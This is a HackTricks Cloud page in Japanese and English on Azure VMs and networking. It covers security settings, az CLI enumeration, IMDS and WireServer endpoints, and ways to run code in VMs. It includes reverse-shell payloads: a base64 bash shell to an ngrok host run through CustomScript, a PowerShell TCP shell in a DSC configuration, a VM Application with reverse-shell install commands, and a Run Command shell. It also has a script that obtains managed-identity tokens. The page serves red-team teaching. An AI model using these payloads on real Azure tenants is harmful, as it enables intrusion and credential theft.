Az - Virtual Machines & Network
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Azure Networking Basic Info
Azure networks contains different entities and ways to configure it. You can find a brief descriptions, examples and enumeration commands of the different Azure network entities in:
VMs Basic information
Azure Virtual Machines (VMs) are flexible, on-demand cloud-based servers that let you run Windows or Linux operating systems. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
Security Configurations
- Availability Zones: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
- Security Type:
- Standard Security: This is the default security type that does not require any specific configuration.
- Trusted Launch: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
- Confidential VMs: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and more.
- Authentication: By default a new SSH key is generated, although it’s possible to use a public key or use a previous key and the username by default is azureuser. It’s also possible to configure to use a password.
- VM disk encryption: The disk is encrypted at rest by default using a platform managed key.
- It’s also possible to enable Encryption at host, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service (docs).
- NIC network security group:
- None: Basically opens every port
- Basic: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- Advanced: Select a security group
- Backup: It’s possible to enable Standard backup (one a day) and Enhanced (multiple per day)
- Patch orchestration options: This enable to automatically apply patches in the VMs according to the selected policy as described in the docs.
- Alerts: It’s possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
- Percentage CPU is greater than 80%
- Available Memory Bytes is less than 1GB
- Data Disks IOPS Consumed Percentage is greater than 95%
- OS IOPS Consumed Percentage is greater than 95%
- Network in Total is greater than 500GB
- Network Out Total is greater than 200GB
- VmAvailabilityMetric is less than 1
- Heath monitor: By default check protocol HTTP in port 80
- Locks: It allows to lock a VM so it can only be read (ReadOnly lock) or it can be read and updated but not deleted (CanNotDelete lock).
- Most VM related resources also support locks like disks, snapshots…
- Locks can also be applied at resource group and subscription levels
Disks & snapshots
- It’s possible to enable to attach a disk to 2 or more VMs
- By default every disk is encrypted with a platform key.
- Same in snapshots
- By default it’s possible to share the disk from all networks, but it can also be restricted to only certain private access or to completely disable public and private access.
- Same in snapshots
- It’s possible to generate a SAS URI (of max 60days) to export the disk, which can be configured to require authentication or not
- Same in snapshots
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Images, Gallery Images & Restore points
A VM image は、新しい virtual machine (VM) を作成するために必要な operating system、application settings、filesystem を含む template です。image と disk snapshot の違いは、disk snapshot が単一の managed disk の read-only な point-in-time copy であり、主に backup や troubleshooting に使われるのに対し、image は multiple disks を含むことができ、新しい VMs を作成するための template として機能するよう設計されていることです。
Images は Azure の Images section または Azure compute galleries で管理できます。これにより versions を生成し、image を cross-tenant で share したり、public にすることもできます。
A restore point は、VM configuration と、その VM に attached された all the managed disks の application-consistent な point-in-time snapshots を保存します。これは VM に関連しており、特定の時点でその VM がどうなっていたかに復元できるようにすることが目的です。
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
docs によると、Site Recovery は、ビジネスアプリとワークロードを障害発生中も稼働させ続けることで、ビジネス継続性の確保を支援します。Site Recovery は、プライマリ site からセカンダリの場所へ、物理マシンおよび仮想マシン (VMs) 上で実行されているワークロードを replicates workloads します。プライマリ site で障害が発生すると、セカンダリの場所へ fail over し、そこからアプリにアクセスします。プライマリの場所が再び稼働したら、そこへ fail back できます。
Azure Bastion
Azure Bastion は、Azure Portal または jump box を介して、仮想マシン (VMs) への安全でシームレスな Remote Desktop Protocol (RDP) および Secure Shell (SSH) アクセスを可能にします。VMs に public IP addresses が不要になることで実現します。
Bastion は、動作に必要な VNet 内に AzureBastionSubnet というサブネットを /26 の netmask でデプロイします。これにより、RDP と SSH を使って browser 経由で internal VMs に接続 でき、VMs の port を Internet に公開せずに済みます。jump host としても機能します。
サブスクリプション内の Azure Bastion Hosts をすべて一覧表示し、それらを通じて VMs に接続するには、次のコマンドを使用できます。
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
Azure Instance Metadata Service (IMDS) は、実行中の virtual machine インスタンスに関する情報を提供し、管理と設定を支援します。SKU、storage、network configuration、今後のメンテナンスイベントに関する情報などを、routable ではない IP address 169.254.169.254 上で利用可能な REST API 経由で提供します。この IP address は VM 内からのみアクセス可能です。VM と IMDS 間の通信は host 内に留まり、secure なアクセスが保証されます。IMDS を問い合わせる際、VM 内の HTTP client は適切な通信を確保するために web proxy を bypass すべきです。
さらに、metadata endpoint に接続するには、HTTP request に Metadata: true header が必要で、X-Forwarded-For header は付けてはいけません。
metadata endpoint に access token を request する場合、default では metadata service は、存在すれば system assigned managed identity を使って token を生成します。ONE user assigned managed identity しかない場合は、それが default で使われます。ただし、system assigned managed identity がなく、multiple user assigned managed identities がある場合、metadata service は multiple managed identities があることを示す error を返し、どれを使うかを指定する必要があることを通知します。
以下で列挙方法を確認してください:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
VMでのCode Execution
VM Extensions
Azure VM extensionsは、Azure virtual machines (VMs) 上でpost-deployment configurationとautomation tasksを提供する小さなapplicationsです。
これにより、VM内でarbitrary codeをexecuteできます。
必要なpermissionは**Microsoft.Compute/virtualMachines/extensions/write**です。
利用可能なすべてのextensionsを一覧表示するには、次を実行します:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
カスタムコードを実行するカスタム拡張機能を実行することが可能です:
- リバースシェルを実行する
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- インターネット上にあるスクリプトを実行する
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
関連する VM extensions
必要な権限は依然として Microsoft.Compute/virtualMachines/extensions/write です。
VMAccess extension
この extension により、Windows VMs 内の users の password を変更(または存在しない場合は作成)できます。
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
これは Microsoft に属する VM extension で、PowerShell DSC を使用して Azure Windows VMs の設定を管理します。したがって、この extension を通じて Windows VMs で 任意のコマンドを実行 するために使用できます:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker
これは、automation account から VMs 内で runbooks を実行できるようにする VM extension です。詳細は Automation Accounts service を確認してください。
VM Applications
これらは、application data と install および uninstall scripts をすべて含む packages で、VMs に application を簡単に追加・削除するために使用できます。
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
アプリケーションがファイルシステム内でダウンロードされるパスは次のとおりです:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
新しいアプリケーションのインストール方法は https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli を確認してください
Caution
個別の apps と galleries を他の subscriptions や tenants と共有する ことが可能です。これは非常に興味深く、攻撃者が application を backdoor して、他の subscriptions や tenants へ pivot できる可能性があるからです。
ただし、extensions のような vm apps 用の “marketplace” はありません。
必要な permissions は次のとおりです:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
arbitrary commands を実行するための exploitation 例:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
ユーザーデータ
これは persistent data で、metadata endpoint からいつでも取得できます。Azure では user data は AWS や GCP と異なり、ここに script を置いてもデフォルトでは実行されません。
Custom data
VM にいくつかの data を渡して、想定された path に保存させることができます。
- Windows では custom data は
%SYSTEMDRIVE%\AzureData\CustomData.binに binary file として配置され、処理されません。 - Linux では
/var/lib/waagent/ovf-env.xmlに保存されていましたが、現在は/var/lib/waagent/CustomData/ovf-env.xmlに保存されます - Linux agent: デフォルトでは custom data を処理しません。data が有効になっている custom image が必要です
- cloud-init: デフォルトでは custom data を処理し、この data は several formats で存在し得ます。custom data に script をそのまま入れるだけで、簡単に script を実行できます。
- Ubuntu と Debian の両方で、ここに置いた script が実行されることを確認しました。
- これを実行するために user data を有効化する必要もありません。
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Run Command
これは Azure が VM 内で 任意のコマンドを実行 するために提供する最も基本的なメカニズムです。必要な権限は Microsoft.Compute/virtualMachines/runCommand/action です。
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Azure WireServer & GoalState
Azure VM は、構成、メタデータ取得、ID 管理に使用される 内部プラットフォームエンドポイント を公開します。これらの違いを理解することは、enumeration, privilege escalation, post-exploitation にとって重要です。
Wire Server (Azure Fabric Endpoint)
Azure WireServer は、プラットフォームが VM と通信するために使用する Azure 内部 IP (168.63.129.16) です。
これは次の役割を担います:
- VM Agent との通信
- 次の配信:
- GoalState
- ExtensionsConfig
- 内部 VM 構成 (identities を含む)
- DHCP & DNS services
- Health monitoring
GoalState & ExtensionsConfig
GoalState は、Azure によって定義された VM の望ましい構成 を表します。これには以下が含まれる場合があります:
- Extensions configuration
- Managed identities
- Provisioning state
- Agent instructions
ExtensionsConfig には、VM extensions の詳細な構成が含まれ、以下を含む場合があります:
- User Assigned Managed Identities
- Extension settings
- Secrets (extension による)
これらのエンドポイントは通常、次を通じてアクセスされます:
curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate
Access considerations
WireServer の IP は、一般に VM 内から guest network stack 経由で到達可能です。これは Azure VM Agent、Run Command、または VM extensions のみに制限されているわけではありません。Microsoft も、通常の in-guest script が 168.63.129.16 から GoalState を直接 query する agentless Linux provisioning の例を文書化しています。
ただし、すべての process が必ず同じ実用上の結果を得られるとは限りません。
- 一部の endpoint では、GoalState 用の
x-ms-version: 2012-11-30のような Azure-specific headers が必要です。 - local guest controls は、host firewall rules、proxies、routes、network namespaces、containers、endpoint protection などを含め、access を block または alter することがあります。
- VM extensions と Run Command は、通常 VM Agent 経由で
root/SYSTEMとして実行されるため、interactive user に影響する local OS restrictions を bypass できる場合があります。 - 一部の data は agent/extension-specific であり、VM の provisioning state、installed agent、configured extensions、または managed identity configuration に依存することがあります。
したがって、ある request が Run Command では成功するのに SSH では失敗する場合、通常の説明は「OS user、environment、routing、proxy、firewall、または namespace の違い」であって、「agent execution contexts だけが 168.63.129.16 に到達できる」という一般的な Azure rule ではありません。
lab testing ではこの違いが確認できました。Run Command または Custom Script extensions 経由の Linux/Windows VM Agent execution は 168.63.129.16 上の GoalState に到達できましたが、別の Linux VM 上の通常の SSH session は IMDS には到達できても、GoalState の query では timeout しました。WireServer/GoalState は有用ですが environment-dependent と考えてください。managed identities を enumerate する canonical な方法として依存しないでください。
Managed Identity Access From Inside the VM
VM の managed identities を使う reliable な方法は、WireServer の ExtensionsConfig XML ではなく、169.254.169.254 にある IMDS managed identity endpoint です。ExtensionsConfig 内で UserAssignedIdentity nodes だけを探す script は reliable ではありません。理由は次のとおりです。
- VM の managed identity assignment が、extension XML 内で
UserAssignedIdentitynodes として表現される保証はありません。 - system-assigned managed identities を見逃します。
- current GoalState/extension data がたまたま期待される XML shape を公開している場合にのみ、user-assigned identities を見つけられます。
Microsoft が文書化している security model は、VM 上で実行されるすべての code が、その VM で利用可能な managed identities の token を request できる というものです。これは次の環境から確認されました。
- 通常の VM user としての Linux SSH。
- VM Agent 経由の Linux Run Command。
- VM Agent 経由の Linux Custom Script extension。
NT AUTHORITY\SYSTEMとしての Windows Custom Script extension。
これらすべての context で、requested identity が VM で利用可能な場合、IMDS は Management、Microsoft Graph/Entra ID、Key Vault、Storage 向けの token を mint できました。
混同しやすい問題が 2 つあります。
- 既知の identity の token を取得すること: その identity が VM に assigned されていれば、IMDS は
https://management.azure.com/、https://graph.microsoft.com/、https://vault.azure.net、https://storage.azure.com/のような異なる audience 向けに token を issue できます。複数の user-assigned identities がある場合は、client_id、object_id、またはmsi_res_idを使って特定のものを request してください。 - VM 内から接続されたすべての identity を discover すること: IMDS には、すべての identity を list する簡単な endpoint はありません。実用的な方法は、default の Management token を取得し、ARM 経由で VM resource を read して、その
identityproperty を inspect することです。これは、その managed identity が VM 上でMicrosoft.Compute/virtualMachines/readのような permissions を持つ場合にのみ機能します。ARM が403を返しても token 自体は valid で有用な場合がありますが、VM の完全な identity list は enumerate できません。
ARM discovery が失敗しても、GoalState や http://168.63.129.16:32526/vmSettings のような WireServer/HostGAPlugin sources を試して、clientId、IdentityClientId、msi_res_id、user-assigned identity resource IDs のような identity-looking fields を探し、その selector を使って IMDS に token を request することはできます。これは fallback であり、保証ではありません。これらの endpoints は context-dependent で、managed identity selectors をまったく公開しない場合もあります。
以下の examples は、まず token を request します。次に Azure Resource Manager から VM resource を read し、その identity property を print します。2 番目の step は、その managed identity が VM 上で Microsoft.Compute/virtualMachines/read のような permissions を持つ場合にのみ機能します。
#!/usr/bin/env bash
set -euo pipefail
imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"
# Optional. Examples:
# export MSI_SELECTOR='client_id=<client-id>'
# export MSI_SELECTOR='object_id=<principal-id>'
# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"
urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}
token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi
echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"
access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"
TOKEN="$access_token" python3 - <<'PY'
import base64, json, os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))
print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f" {key}: {claims[key]}")
PY
echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"
arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi
権限昇格
Az - Virtual Machines & Network Privesc
認証なしアクセス
Post Exploitation
Az - VMs & Network Post Exploitation
Persistence
References
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
- https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token
- https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16
- https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent
- https://learn.microsoft.com/en-us/azure/virtual-machines/run-command
- https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux
- https://www.cybercx.com.au/blog/azure-ssrf-metadata/
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

